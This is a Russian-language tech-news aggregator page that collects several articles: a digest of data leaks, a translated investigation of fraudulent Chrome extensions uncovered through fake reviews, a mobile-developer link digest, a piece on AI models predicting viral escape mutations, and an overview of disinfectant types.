Что случилось: На сервер израильской страховой компании Ширбит попал троян, который за несколько часов переслал на адрес злоумышленников базу с полными данными клиентов, включая их адреса, телефоны, номера кредитных карт, копии паспортов, места работы и списки близких родственников.

Кто виноват: Судя по всему, с антивирусами в частности и информационной безопасностью вообще в Ширбите дела плохи, поскольку компания узнала об утечке только когда украденная информация всплыла в общем доступе. Разгорелся скандал, поскольку среди пострадавших есть военные и сотрудники силовых структур. По этой причине к расследованию утечки подключились государственное Управление по кибербезопасности и Служба общей безопасности (ШАБАК).

Против Ширбита уже подано несколько компенсационных исков, и, судя по всему, компании грозит если не полное разорение, то массовый отток крупных клиентов.

Слив по бразильской системе

Что случилось: Журналисты газеты Estadao обнаружили логин и пароль к базе данных Министерства здравоохранения в исходном коде сайта ведомства. Просмотреть его мог любой, просто нажав F12 в своем браузере. Эти данные позволяли получить доступ к SUS (Sistema nico de Sade), официальной базе Минздрава Бразилии, в которой хранится информация о 243 млн граждан (в том числе, умерших) полное имя, домашний адрес, номер телефона, медицинские сведения.

Кто виноват: Налицо прокол разработчиков. После сообщения об утечке, данные из исходного кода удалили, но остается неясным, успели ли воспользоваться этой уязвимостью злоумышленники.

По иронии судьбы, это уже второй в стране ИБ-инцидент с медицинской информацией за последнее время. В прошлом месяце по схожей причине в Бразилии утекли данные 16 млн пациентов с COVID-19. Похоже, госсектор+персданные опасная смесь не только для России.

У нас

Адрес смерти

Что случилось: В Павловском районе Нижегородской области осудили очередных участников тандема полицейский + ритуальщик.

Кто виноват: На протяжении года местные полицейские незаконно передавали предпринимателям, занимающимся организацией похорон, имена и домашние адреса умерших. За это служилые получали от 3 до 30 тыс. рублей. В итоге возбуждено несколько уголовных дел, подозреваемых отстранили от работы.

Скучающий торговец

Что случилось: ИБ-специалист телеком-компании в подмосковном Реутове засек подозрительные обращения в корпоративную базу с персданными клиентов. Кто-то обращался к ней трижды с перерывом в несколько дней.

Кто виноват: Нарушителем оказался менеджер по работе с клиентами. По словам сотрудника, он зашел в систему от скуки на фоне отсутствия покупателей. При этом сфотографировал данные 14 абонентов, что позднее подтвердили записи с камер видеонаблюдения в салоне. Данные были нужны ему для перепродажи.

Мужчину обвинили в неправомерном доступе к охраняемой законом компьютерной информации и ее копировании. С учетом некогда хорошей репутации, а также раскаяния в содеянном суд приговорил экс-менеджера к одному году условно с исправительным сроком в один год.

Один на всех и все на одного

Что случилось: Маркетолог компании-разработчика мобильного приложения SkinSwipe для обмена игровыми предметами из CS:GO, Dota 2 и Team Fortress 2 поделился историей о мошенничестве. В выходной день кто-то начал массовую распродажу промокодов и игровой валюты из приложения, хотя команда такую активность не планировала.

Кто виноват: Оказалось, в деле замешан бывший сотрудник техподдержки SkinSwipe. Он вошел в админку приложения в нерабочее время и создал несколько сот позиций на продажу. Но обвинять в инциденте только его неправильно, ведь для входа в админку мужчина использовал логин и пароль, которые после его увольнения никто не изменил. Более того, этими данными для входа пользовалась вся команда. Потому что мы маленький сплоченный коллектив и доверяем друг другу.

Продвинутый поиск

Что случилось: В Сеть утекли учетные данные нескольких медучреждений для подключения к закрытой IT-системе. Слив произошел через поисковую строку Яндекса.

Кто виноват: Логины и пароли поисковику передали пользователи. Оказалось, что сотрудники учреждений для быстрого поиска страницы входа вставляли в адресную строку запрос вида полная ссылка на ресурс+логин+пароль. То есть копировали строки из таблицы, в которой хранились учетки. Яндекс принимал их в качестве запросов и выдавал как подсказки любым пользователям. Неизвестно, воспользовался ли случаем посторонний юзер с дурными намерениями. Но поисковый сервис проблему со своей стороны устранил.

Двухфакторная аутентификация, говорите? Регулярное обновление парольных фраз? А выходит, начинать нужно с азов что можно, а что нельзя вводить в поисковую строку Яндекса и Гугла.

Таким был ИБ-декабрь. До встречи в январе. Пусть каникулы будут фантастическими, а Новый год счастливым!

Подробнее..

Перевод Находим опасные браузерные расширения по фальшивым отзывам

05.06.2021 16:05:21 | Автор: admin
Фальшивые положительные отзывы заполонили все уголки современного цифрового мира, они вводят в заблуждение потребителей, предоставляя нежелательное преимущество мошенникам и посредственным продуктам. К счастью, обнаружение и отслеживание аккаунтов, создающих подобные фальшивые отзывы, часто является простейшим способом выявления мошенничества. В этой статье мы расскажем о том, как ложные отзывы о поддельном браузерном расширении Microsoft Authenticator позволили выявить десятки других расширений, вытягивающих у пользователей личные и финансовые данные.


Комментарии под фальшивым браузерным расширением Microsoft Authenticator показывают, что отзывы на эти приложения или положительны, или сильно отрицательны, и это, по сути, даёт понять, что оно мошенническое.

Услышав от нашего читателя о поддельном расширении Microsoft Authenticator, появившемся в Google Chrome Store, мы начали исследовать создавший его аккаунт. До удаления расширения под ним было пять отзывов: три пользователя Google поставили ему одну звезду, предупреждая людей, что им не нужно пользоваться, но два комментатора поставили ему три и четыре звезды.

Отличное расширение!, с восторгом пишет Google-аккаунт Theresa Duncan. Проблем с ним почти не было

Очень удобное и приятное, невразумительно оценивает расширение Anna Jones.

Google Chrome Store сообщил, что адрес электронной почты, связанный с аккаунтом, опубликовавшим поддельное расширение Microsoft, также выпустил ещё одно расширение под названием iArtbook Digital Painting. Прежде чем его удалили из Chrome Store, у расширения iArtbook появилось 22 пользователя и три отзыва. Как и в случае с поддельным расширением Microsoft, все три отзыва были положительными, и все были созданы аккаунтами с именем и фамилией наподобие Megan Vance, Olivia Knox, и Alison Graham.

В Google Chrome Store не так просто выполнять поиск по оставившим отзывы. Для этого я воспользовался сервисом chrome-stats.com разработчика Хао Нгуена. Сервис индексирует массив атрибутов, связанных с расширениями Google, позволяя выполнять по ним поиск.

Изучая Google-аккаунты, оставившие положительные отзывы об уже заблокированных расширениях Microsoft Authenticator и iArtbook, мы обратили внимание, что каждый из них оставил отзывы ещё на несколько расширений, которые тоже были удалены.


Отзывы на расширение iArtbook получены от очевидно фальшивых Google-аккаунтов, каждый из которых оставлял отзывы на два других расширения, одно из которых опубликовано тем же разработчиком. Такой же паттерн наблюдается у ещё 45 заблокированных расширений.

Как постоянно разрастающаяся диаграмма Венна, отзывы на расширения, оставленные каждым новым фальшивым аккаунтом, приводили к открытию новых фальшивых аккаунтов и расширений. Приблизительно за 24 часов исследований при помощи chrome-stats.com было обнаружено больше ста положительных отзывов, находящихся в сети однозначно мошеннических расширений.

Эти отзывы, в свою очередь, привели к достаточно простому выявлению:

  • 39 комментаторов, которые были довольны расширениями, являющимися подделками крупных брендов или запрашивающими финансовые данные
  • 45 зловредных расширений, суммарно имеющих почти 100 тысяч скачиваний
  • 25 аккаунтов разработчиков, связанных с несколькими забаненными приложениями.

Расширения имитировали многие потребительские бренды, в том числе Adobe, Amazon, Facebook, HBO, Microsoft, Roku и Verizon. После изучения каждого из этих расширений мы, в свою очередь, выявили, что многие из их разработчиков были связаны с несколькими приложениями, продвигаемыми через те же фальшивые Google-аккаунты.

У некоторых из поддельных расширений было всего с десяток скачиваний, но у большинства они исчислялись сотнями или тысячами. Фальшивое расширение Microsoft Teams примерно за два месяца присутствия в Google store получило 16200 скачиваний. Поддельная версия пакета для профессионального монтажа видео CapCut за почти такой же срок получила около 24000 скачиваний.


Больше 16 тысяч людей скачало фальшивое браузерное расширение Microsoft Teams за те два месяца, пока оно находилось в Google Chrome store.

В отличие от зловредных браузерных расширений, способных превратить ваш PC в ботнет или собирать куки, ни одно из исследованных расширений не запрашивает у пользователей особых разрешений. Однако после установки все они неизменно спрашивают у пользователей личные и финансовые данные, притворяясь, будто связаны с крупными брендами.

В некоторых случаях фальшивые аккаунты и разработчики поддельных расширений в этой схеме имеют одинаковые имена, например, в случае brook ice Google-акаунта, положительно оценившего зловредные расширения Adobe и Microsoft Teams. Адрес электронной почты brookice100@gmail.com был использовал для регистрации аккаунта разработчика, создавшего ещё два поддельных расширения, изученных в нашем обзоре (PhotoMath и Dollify).


Часть данных, послуживших основой для нашего отчёта. Ссылка на полную таблицу представлена в конце статьи.

Как мы видим из показанного выше фрагмента электронной таблицы, многие Google-аккаунты, оставившие отзывы на очевидно фальшивые расширения, в течение одного дня оставляли комментарии на несколько приложений.

Кроме того, инструменты восстановления Google-аккаунта показывают, что многие адреса электронной почты разработчиков, связанные с описанными в статье расширениями, имеют один адрес электронной почты для восстановления доступа. Это даёт понять, что всю схему контролирует ограниченный круг анонимных пользователей. Если отсортировать данные из представленной выше электронной таблицы по адресу электронной почты разработчика расширения, то группирование отзывов по дате становится ещё более очевидным.

Мы поделились своими находками с Google и дополним статью, если компания нам ответит. Как бы то ни было, Google уже распознала все эти расширения как мошеннические и удалила их из магазина.

Однако, мы, вероятно, напишем пост о том, как много времени стал занимать процесс обнаружения и удаления плохих расширений. В целом, большинство этих расширений было доступно в магазине по два-три месяца.

Я провёл это исследование в основном из интереса. Мне показалось, что им будет любопытно поделиться с другими. Кроме того, меня восхитила мысль о том, что для поиска фальшивых приложений достаточно всего лишь обнаруживать и отслеживать фальшивых комментаторов. Я уверен, что сеть мошеннических расширений шире, чем описанная в этой статье.

Как мы видим из этой истории, при установке расширений стоит проявлять здравомыслие. Если даже не принимать во внимание очевидно мошеннические расширения, многие полезные расширения их разработчики прекращают поддерживать или продают сомнительным маркетологам, поэтому разумно будет доверять только активно поддерживаемым расширениям (имеющим критическую массу пользователей, способных создать шум, когда с программой произойдёт что-то нежелательное).

По данным chrome-stats.com, большинство расширений (более чем 100 тысяч), по сути, заброшено своими авторами или не обновлялось более двух лет. Другими словами, есть много разработчиков, которые готовы продать своё творение вместе с базой пользователей.

Информацию из данного отчёта можно найти в этой электронной таблице Google.



На правах рекламы


VDSina предлагает безопасные VDS с посуточной оплатой, возможностью установить любую операционную систему, каждый сервер подключён к интернет-каналу в 500 Мегабит и бесплатно защищён от DDoS-атак!

Присоединяйтесь к нашему чату в Telegram.

Подробнее..

Дайджест интересных материалов для мобильного разработчика 348 (8 14 июня)

14.06.2020 16:43:19 | Автор: admin
Наш новый дайджест рассказывает про странный поиск вирусов в приложении для изучения иностранного языка, про применение Kotlin и автоматизацию локализации, про лучшие интерфейсы и вратарей напрокат.


Мы предположили, что в условиях решений властей о борьбе с фейк-ньюс о вирусе команда стора перестраховывается и превентивно и автоматически банит все случаи, хоть как-то подходящие под некий алгоритм. Также было понятно, что какие-то упоминания COVID могли попасть в наши материалы.

Этот дайджест доступен в виде еженедельной рассылки. А ежедневно новости мы рассылаем в Telegram-канале.

iOS

Apple представляет программу WWDC20
Apple переведет компьютеры на собственные ARM-процессоры
Разработчики за пределами США жалуются на проблемы с оформлением и продлением подписки Apple Developer Program
Создаем iOS-приложение с позитивными новостями, используя возможности машинного обучения
Создаем собственный шаблон в Xcode и сокращаем времени разработки
SwiftUI: интеграция Mapbox SDK
Рисуем в iOS используя CAShapeLayer
Дополненная реальность на Swift 5 как начать
5 iOS-библиотек, которые сделают ваше приложение более стильным
Многоразовые всплывающие окна и оповещения в iOS
Создаем простой прогресс-бар, который можно добавить в любое приложении
Изучение SwiftUI сделает вас лучшим программистом
Анализ open source iOS-приложений
Как применять условные модификаторы View в SwiftUI
Обзор указателей в Swift
Улучшите ваш рабочий процесс с UIKit и Swift Live Previews
FSPagerView: элегантный слайдер

Android

(+26) Spring Boot, Hibernate и Kotlin для новичков шаг за шагом
(+4) Практическое применение Kotlin в стартапах и энтерпрайзе
Android Dev Podcast #115. Новости
Вышла первая бета Android 11
Google Play Asset Delivery открыли для всех
Mobile People Talks: Jetpack Compose взгляд изнутри
Как сделать приложение-календарь для Android
Как анимировать и строить графики с помощью Android Interpolator
Создаем приложения Scrum Poker с применением MotionLayout
7 главных языков программирования для разработки Android-приложений
Создание вращающийся ручки на Kotlin
Android Studio: Layout Inspector
Kotlin и Exceptions
Темный режим в Android-приложении с Kotlin
Инъекция зависимостей на Android с Hilt
Kotlin Symbol Processing: первые мысли
Важные изменения в Android Studio 4.0
Simple Dialer: звонилка для Android
Compose Academy: изучаем Jetpack Compose
Trinity: короткие видео для Android

Разработка

(+20) Phrase.com или как мы автоматизировали флоу локализации
(+16) Оптимизация рендера под Mobile. Часть 3. Шейдеры
(+12) 20 платформ для заработка на тестировании
(+11) QA-процесс в Miro: отказ от водопада и ручного тестирования, передача ответственности за качество всей команде
(+11) Великобритания запускает приложение, следящее за вашим кругом общения: как оно будет работать и когда будет доступным
(+10) Красивое удобнее, чем некрасивое? Обзор исследований
(+7) Как сделать заказной веб- или mobile-проект с нуля: процессы, правила и немного крови
(+5) SSL pinning во Flutter
(+5) Нативная разработка vs кросс-платформенная нужно ли выбирать?
(0) React Native: Push-уведомления с помощью AWS Amplify
Исследование The State of Developer Ecosystem 2020 от JetBrains
Snapchat запускает мини-приложения внутри чата
make sense: о связке продукт коммуникации, нарративе и воспринимаемой енности
Podlodka #167: Компиляторы
LOVEMOBILE #06: Издательство с 101XP
9 советов ля быстрого улучшения дизайна вашего пользовательского интерфейса
Дизайн приложений: примеры для вдохновения #4
Открылся прием навыков для Маруси
10 правил NASA для написания критически важного кода
Мобильное приложение на Flutter. Стоимость, сроки, подводные камни. Часть 1
Как правильно интегрировать исследования пользователей и рынка в вашу продуктовую команду
Дизайнеру приложений: как создать и передать в разработку тёмную тему
BindingX: нативная разработка без нативной разработки
Как работает шумоподавление в Google Meet
10 новых и многообещающих трендов в дизайне интерфейсов
Как записывать автоматизированные тесты для мобильных приложений

Аналитика, маркетинг и монетизация

(+4) Как продвигать мобильные игры и приложения в Японии, Корее и Китае
В Бразилии сделали приложение Вратарь напрокат
Как обстоит дело с ретаргетингом в риложениях. 2020 год: отчет AppsFlyer
Axiom: анализ данных на предприятиях
Сбербанк покупает 2ГИС
Сheckaso ищет приложения для бесплатного ASO аудита
Рост гиперказуальных игр в 1 квартале 2020: отчет djust и Unity
Drop привлек $13.3 млн. на платформу умной кухни
myTarget расширил инструменты атрибуции екламных кампаний
Влияние коронавируса на стоимость рекламы: исследование AB
AppsFlyer открывает бесплатный доступ к своим нструментам
Российский рынок ИТ-услуг сократится на треть
Tajir: онлайн-магазин для офлайн-магазинов
Гайд: как сделать текстовое ASO быстро и эффективно?
Тудурант менеджер задач, который заставляет примитивный мозг работать

AI, Устройства, IoT

(+35) Люди ломаются на логике, роботы на всем понемногу. Экзамены по русскому для NLP-моделей
(+30) Как мы отказались от нейросетей, а затем вернули их в прогноз осадков Яндекс.Погоды
(+17) Автоматизация квартиры
Snap пускает сторонние ML-модели в свои Линзы
Стоимость тренировки ИИ упала в 100 раз за 2 года
Как я сдал сертификационный экзамен разработчика TensorFlow

Предыдущий дайджест. Если у вас есть другие интересные материалы или вы нашли ошибку пришлите, пожалуйста, в почту.
Подробнее..

Перевод Поэтика мутации искусственный интеллект поможет изучить ускользающие вирусы

15.01.2021 20:21:00 | Автор: admin
Источник

Специалисты по биоинформатике использовали алгоритм, предназначенный для моделирования человеческого языка, чтобы предсказать, как вирусы могут эволюционировать, защищаясь от иммунной системы.

Копия неверна


Вирусы ведут довольно примитивное циклическое существование. Они проникают в клетку, производят своеобразный хакинг ее механизмов размножения, создавая копировальную машину для себе подобных. Реплики вируса распространяются по организму с той же целью: захватить и подчинить. И так до бесконечности.

Довольно часто в череде этого копипаста что-то идет не так сбои при копировании порождают мутации. Иногда мутация касается отсутствия какого-то важного белка или аминокислоты такой незадачливый вирус отправляется на свалку эволюционной истории. Порой мутация ровным счетом ни на что не влияет: при перестановке слагаемых в последовательности белков сумма не меняется.

Но время от времени мутация работает вирусу на руку. Произошедшие изменения не только не мешают вирусу продолжать захват здоровых клеток, но и помогают ему делать это с большей эффективностью. Мутации могут сделать вирус неузнаваемым для иммунной защиты человека. Такому захватчику удается уклоняться от антител, выработанных у переболевших или вакцинировавшихся людей, или ускользнуть.

Ученые всегда внимательно следят за потенциальными попытками побега со стороны вируса. Это актуально и для SARS-CoV-2: появляются новые штаммы и ученые исследуют, насколько эти изменения критичны для существующей вакцины (P.S. Пока тут все в порядке). Сложнее всего приходится исследователям вируса гриппа и ВИЧ, которые лучше всего ускользают от иммунной защиты нашего организма.

Вирусологи стараются играть на опережение, поэтому создают собственных мутантов в лабораторных условиях и смотрят, смогут ли те ускользнуть от антител, взятых у экс-больных и вакцинировшихся. Но работа эта сродни поиску иголки в стоге сена: вариации мутаций настолько разнообразны, что проверить все не представляется возможным. Такие исследования проводятся скорее для того, чтобы не терять относительный контроль над ситуацией.

Вирусное правописание


Прошлой зимой Брайан Хи, биоинформатик из Массачусетского технологического института и большой поклонник поэзии Джона Донна, обдумывал эту проблему и пришел к интересной аналогии. Что если рассматривать вирусные последовательности так же, как мы рассматриваем письменную речь? По мнению ученого, каждая вирусная последовательность имеет своего рода грамматику набор правил, которым она должна следовать, чтобы быть этим конкретным вирусом.

Если мутация провоцирует грамматическую ошибку, вирус заходит в эволюционный тупик. Так же, как и язык, вирусная последовательность имеет своего рода семантику, которую иммунная система либо в состоянии считать, либо нет. Если она ее считывает, то иммунитет в состоянии понять вирус и остановить его с помощью антител или иных средств защиты. Продолжая аналогию, вирусное ускользание можно рассматривать как изменение, которое следует правилам грамматики, но меняет свою семантику на ту, которую не считывает иммунитет.

Аналогия была не только красивой, но и натолкнула Брайана Хи на мысль о ее практическом применении. За последние несколько лет искусственный интеллект сильно продвинулся в области лингвистики, корректно моделируя принципы грамматики и семантики человеческого языка. Нейросети обучаются на наборах данных, состоящих из миллиардов слов и упорядоченных по предложениям и абзацам, из которых система выводит шаблоны. В результате обучения алгоритмы ИИ понимают, как правильно строить предложения и где расставлять запятые. Можно также сказать, что он понимает значение определенных последовательностей слов и фраз и даже учитывает контекст все это на основе правильно подобранных коэффициентов слоев нейросети.

Архитектура паттернов выбора того или иного слова масштабная, и прописывается она все более детально. Так, наиболее продвинутые алгоритмы обработки естественного языка типа GPT-3 от OpenAI учатся создавать идеальные с точки зрения грамматики тексты, сохраняя стилистику.

И в литературе, и в биологии


Основное преимущество алгоритмов искусственного интеллекта их масштабируемость на разные области науки. Для модели машинного обучения последовательность это последовательность, неважно, где она в лирических сонетах или аминокислотах.

По мнению Джереми Ховарда, исследователя искусственного интеллекта из Университета Сан-Франциско и эксперта по алгоритмам обработки естественного языка, применение алгоритмов ИИ в биологических исследованиях может быть результативным.

Имея достаточное количество данных, например, из генетических последовательностей известных науке инфекционных вирусов, модель может обнаружить паттерны и закономерности в их структуре.

Это будет крайне сложная модель, говорит Джереми Ховард. Брайан Хи тоже это знал. Его научный руководитель, математик и программист Бонни Бергер, ранее выполняла аналогичную работу с коллегами по лаборатории, используя ИИ для прогнозирования закономерностей сворачивания белков.

Языковые модели для гриппа, ВИЧ и коронавируса


Этой весной лаборатория Бергер воплотила идею Брайана Хи. Результаты исследования опубликованы в журнале Science. Изначально команда интересовалась вирусом гриппа и ВИЧ, которые печально известны мастерским ускользанием от вакцин. Но, когда они начали исследование в марте 2020 года, стал доступен геном нового коронавируса, поэтому они решили добавить к исследованию и его.

Для всех трех вирусов ученые сосредоточились на последовательностях белков, которые они используют для проникновения в клетки и репликации, объясняет Брайан Брайсон, биоинженер, профессор Массачусетского технологического института и соавтор исследования. Эти же последовательности главная мишень для возникновения иммунного ответа и ключ к созданию эффективной вакцины. Здесь антитела цепляются за вирус, предотвращая его проникновение в клетку и приговаривая к уничтожению (для SARS-CoV-2 это спайковый S-белок.) Для каждого вируса команда МIT обучила языковую модель, используя данные генетической последовательности вместо привычных абзацев и предложений.

Спустя время ученые проверили результат обучения модели. Согласно гипотезе ученых, последовательности, которые имеют схожую семантику, должны инфицировать одних и тех же хозяев. Так, генетический язык свиного гриппа должен быть семантически похож на другой свиной грипп и отличаться от другого подвида гриппа, например, птичьего. Гипотеза ученых подтвердилась. Кроме того, они обнаружили, что распределенные во времени штаммы гриппа (к примеру, птичий грипп 1918 и 2009 года), были оценены ИИ как семантически похожие.

Затем они обратились к грамматике. Насколько коррелирует оценка вируса за грамматику последовательности и его жизнеспособность в реальной жизни? Ученые собрали данные прошлых исследований, оценивающих адаптивность мутировавших вирусов (насколько хорошо они атаковали клетки и реплицировались) для всех трех вирусов. Затем они оценили, насколько грамматически верными были эти последовательности, по мнению модели. Исследователи предполагали, что высокая оценка по этому параметру означала высокую адаптивность вируса.

Брайсон и Хи также хотели узнать, может ли ИИ предсказать появление ускользающего вируса. Тогда они сравнили предсказания своей модели с известными случаями фактического побега вируса. Модель вируса гриппа оказалась наиболее предсказательной. Неудивительно, ведь набор данных, который они использовали для обучения этой модели, был наиболее полным включал накопленные за несколько лет последовательности гриппа, в том числе выживших мутаций.

Что касается SARS-CoV-2, ученые проверяли свои гипотезы на искусственно выведенных мутантах. Существующий вирус многократно пропускали через сыворотку с антителами до тех пор, пока вирус не мутировал до толерантной к ним стадии (нам пока реально не о чем беспокоиться). Процент успеха тут был меньше. Модель выделяла большинство истинных беглецов, но иногда ошибалась.

Это только начало


Тем не менее, полученные результаты хороший задел для дальнейших исследований вирусологов, которые хотят понять, как работает механизм естественной мутации. Это отличный способ сузить круг потенциальных вирусов-мутантов, сравнимый с размерами вселенной, комментирует Бенхур Ли, микробиолог из Медицинской школы Икана на горе Синай.

Ученый добавил, что прогнозы хороши настолько, насколько хороши данные, на которых обучается модель. Также следует иметь в виду, что модель ИИ упускает некоторые нюансы, потому что свойство ускользания далеко не всегда является следствием мутации. ВИЧ тому доказательство. Иногда последовательность этого вируса не меняется, и его белки даже распознаются антителами, но они хорошо защищены полисахаридом, называемым гликаном.

Бенхур Ли отметил, что в первую очередь предсказания ИИ помогают исследователям подтверждать уже существующие знания. Так, модель правильно идентифицировала две части спайкового белка SARS-CoV-2, которые, как было выяснено ранее, более подвержены к мутациям, и участок последовательности вируса, который стабилен, а значит, является хорошей мишенью для антител.

К каким еще открытиям приведут прогнозы модели ИИ, покажет время. Пока ученые возлагают на нее особые надежды в части выявления так называемых комбинативных мутаций, которые включают в себя множество изменений, наложенных друг на друга.

Следующий шаг, который совершат сотрудники Брайсона, будет состоять в создании в лаборатории некоторых из прогнозируемых мутантов SARS-CoV-2 и наблюдение за их откликом на антитела, взятые у переболевших и вакцинированных людей. По словам Брайсона, они также протестируют несколько последовательностей, собранных при попытках секвенирования образцов вируса от пациентов с Covid-19, которые, по мнению модели, более склонны к ускользанию.

Ученые также хотят проверить, применима ли их аналогия в других ситуациях. Может ли аналогичная модель предсказать, станет ли иммунная система нетерпимой к определенному лечению онкологии или могут ли раковые клетки мутировать и перестать отзываться на лечение? Получив достаточное количество данных, сотрудники лаборатории Брайсона хотят проверить и это.

Подробнее..

Общий обзор основных групп дезинфицирующих средств

25.06.2020 14:15:14 | Автор: admin
За последнее время множество СМИ и интернет-порталов публиковали фотографии и видео того, как помещения повсеместно обрабатывают различными дезинфицирующими растворами. Вместе с тем, далеко не всегда понятно, какой именно дезинфектант применяется в том или ином случае. В данном обзоре мы решили выделить общие группы применяемых дезинфицирующих средств, а также зафиксировать отдельные их особенности.


The Atlantic. Обработка волонтеров в Ухани, Китай. 22 февраля, 2020 г.

1. Хлорсодержащие вещества
Данные соединения действуют благодаря высвобождению активного хлора или окислительной способности ионов хлора, как правило, в положительной степени окисления. Вещества подразделяются на неорганические, среди них гипохлорит кальция/натрия, гипохлорит лития, хлорная известь и проч., а также на органические: натриевая соль дихлоризоциануровой кислоты, натриевая соль трихлоризоциануровой кислоты, хлорамины (Б, Т, ХБ) и проч.

На сегодняшний день хлорсодержащие вещества получили большую популярность благодаря своему спектру действия и относительной доступности. В то же время применение хлора и некоторых соединений хлора характеризуется риском образования опасных продуктов взаимодействия. Происходит это из-за того, что радикалы хлора или ионы хлора в промежуточных степенях окисления взаимодействуют с другими органическими веществами, образуя произвольные новые соединения. Хлор также представляет опасность для человека и может вызывать аллергию, отравление различной степени тяжести. Хлор обладает 2 классом опасности (токсичности) по ГОСТ 12.1.007, а значит, необходимо соблюдать меры предосторожности.

Среди неорганических хлорсодержащих соединений наиболее распространен гипохлорит натрия (NaClO), который получают хлорированием водного раствора едкого натра (NaOH) молекулярным хлором (Cl2), в отдельных случаях электролизом раствора поваренной соли (NaCl). Водный раствор гипохлорита натрия является сильным окислителем и вступает в многочисленные реакции с разнообразными восстановителями, убивая тем самым многие микроорганизмы.



Вместе с тем у гипохлорита натрия есть свои особенности, делающие его не самым лучшим решением на фоне остальных средств. Содержащийся хлор в гипохлорите связан ионной связью, что усложняет его активное действие. Необходимое количество для обработки 1 куб. м помещения или другого объекта составляет порядка 100-300 мл., против 6-30 мл. для аналогичного объема у перекиси водорода (H2O2), и 10 мл. у диоксида хлора (ClO2).


Водный раствор гипохлорита натрия.

Стоит также отметить, что гипохлорит натрия оказывает сильное коррозионное воздействие на различные материалы.

2. Спирты
В состав множества дезинфицирующих средств на основе спирта чаще всего входят этанол (C2H5OH, этиловый спирт) и пропанол (C3H7OH, пропиловый спирт / изопропиловый спирт). Спирты обладают бактерицидным, вирулицидным и фунгицидным действием.



Механизм действия спиртов на микроорганизмы состоит в том, что они денатурируют белки клеточных мембран, вызывая разрушение клетки.

Более предпочтительным считается применение этанола, он подходит, в том числе, для дезинфекции оборудования, не обладающего устойчивостью к коррозии. Этиловый спирт является природным антисептиком и не вызывает аллергии. Этанол в концентрациях 70-80% также применяют для борьбы с новым коронавирусом COVID-19. Этанол относится к 4 классу токсичности.


Дезинфекция пансионатов в Италии.

Стоит отметить, что минусом отдельных веществ, в частности, пропанолсодержащих препаратов является их малая активность в отношение устойчивых форм вирусов. К тому же, пропанолы, относящиеся к 3-му классу опасности токсичнее этанола.

Роспотребнадзор ранее сообщал, что для гигиенической обработки рук могут использоваться кожные антисептики с содержанием этилового спирта (не менее 70% по массе), изопропилового спирта (не менее 60% по массе) или смеси спиртов (не менее 60% по массе), а также парфюмерно-косметическая продукция (жидкости, лосьоны, гели, одноразовые влажные салфетки) с аналогичным содержанием спиртов. Антисептический эффект спиртов наступает быстро, достаточно 30 секунд, однако не имеет продленного действия. После испарения антисептическое действие спиртов на микроорганизмы прекращается. Следует иметь в виду, что спирты инактивируются в присутствии слизи и протеинов. Поэтому обработка спиртом рук, загрязненных биологическими жидкостями, не может дать гарантированного успеха.

Применение спирта традиционно является более дорогим на фоне ряда других дизентифекантов, к примеру, на основе диоксида хлора или перекиси водорода. Стоимость обработки 1 м3 спиртом составляет порядка 40-50 руб. в то время, как у диоксида хлора или перекиси водорода данный показатель варьируется в пределах 0,5-1,5 руб. При этом тот же диоксид хлора обладает большей эффективностью против вирусов как на поверхности, так и в воздухе.


Обработка улиц дезинфектантом.

3. Аммониевые соединения
Четвертичные аммониевые соединения (ЧАС) обширный класс веществ, которые используют для обработки полов, стен, мебели и оборудования. Относительно широкая распространенность средств на основе только ЧАС связана с их относительно низкой токсичностью и отсутствием выраженного коррозионного воздействия.



Благодаря своим противомикробным свойствам они часто служат основой бытовых и промышленных дезинфицирующих средств. Дезинфектанты на основе ЧАС образуют бактериостатическую пленку на поверхности и селективно убивают микроорганизмы.

Наиболее эффективными аммониевыми соединениями являются соединения, молекулы которых имеют длину цепи, состоящую из 10-16 атомов углерода. Отрицательное влияние на антимикробную активность ЧАС оказывают катионы металлов, кислая среда (pH<3), органические вещества, повышенная минерализация воды.


Четвертичные аммониевые соединения (ЧАС).

Вместе с тем, ЧАС эффективны не для всех целей. К примеру, четвертичные аммониевые соединения не способны разрушать патогенные биопленки, они также неэффективны против высокоустойчивых бактерий, таких как туберкулез. Однако ЧАС относительно безопасны для пищевых продуктов и могут применяться для мытья фруктов и овощей (при условии тщательного последующего смывания или очистки от внешней кожуры).

В случае дезинфекции помещений необходимое количество ЧАС для обработки 1 м3 в среднем составляет порядка 100-300 мл. Это сопоставимо с объемами хлорки и существенно выше, чем аналогичный показатель у перекиси водорода или диоксида хлора. Стоимость обработки 1 м3, руб. составляет порядка 1-4 руб. м2.

4. Кислородактивные вещества
Кислородактивные соединения относятся к группе окислителей. Кислородактивные соединения это соединения, высвобождающие активный кислород, обеспечивающий гибель микроорганизмов.

Вещества данной категории содержат активный кислород, который способствует гибели микроорганизмов. К кислородактивным соединениям относят: диоксид хлора (ClO2), перекись водорода (H2O2), перборат натрия (NaBO3), перкарбонат натрия (Na2CO3 1,5H2O2), а также ряд других.

Средства на основе активного кислорода производятся в виде жидких концентратов, данные соединения отличаются хорошей антимикробной активностью. В мировой практике можно встретить множество примеров применения, в частности, диоксида хлора (ClO2) и перекиси водорода (H2O2) для регулярной дезинфекции в медицинских учреждения, а также для борьбы с распространением новой коронавирусной инфекции COVID-19.


Рабочие и емкости с перекисью водорода.

К примеру, о применении аэрозолей диоксида хлора или перекиси водорода для дезинфекции воздуха и поверхностей, в частности, сообщает Международная ассоциация воздушного транспорта (IATA). Данная информация опубликована в документе под названием Предотвращение распространения коронавирусной инфекции (COVID-19). Руководство для аэропортов.

4.1. Перекись водорода
Благодаря своим сильным окислительным свойствам перекись водорода (H2O2, пероксид водорода) нашла широкое применение в быту и в промышленности. H2O2 неустойчивое соединение, легко разлагается, а вещества на его основе используется в качестве окислителей, отбеливателей и антисептиков.

Молекула пероксида водорода сильно полярна, что приводит к возникновению водородных связей между молекулами. Связь OO непрочна, поэтому H2O2 неустойчивое соединение, легко разлагается. При этом высвобождается активный кислород O2, который обеспечивает гибель микроорганизмов.




Разгрузка дезинфицирующих средств в Китае. Потребность в дезинфицирующих средствах стала настолько острой, что одна из крупнейших компаний по производству отбеливающих порошков в Китае переориентировала все свои мощности на удовлетворение возросшего спроса.

Стерилизация перекисью водорода является стандартной медицинской практикой, при которой пары перекиси водорода удаляют микробы, как в воздухе, так и на поверхности материалов. Перекись водорода, к примеру, применяется для стерилизации хирургических инструментов, а в виде мелкодисперсного аэрозоля для дезинфекции в помещениях. Перекись водорода также используется в некоторых процессах очистки сточных вод для удаления органических примесей.

Необходимая концентрация действующего вещества для эффективной обработки воздуха и поверхностей для вирусов 3%-6%.

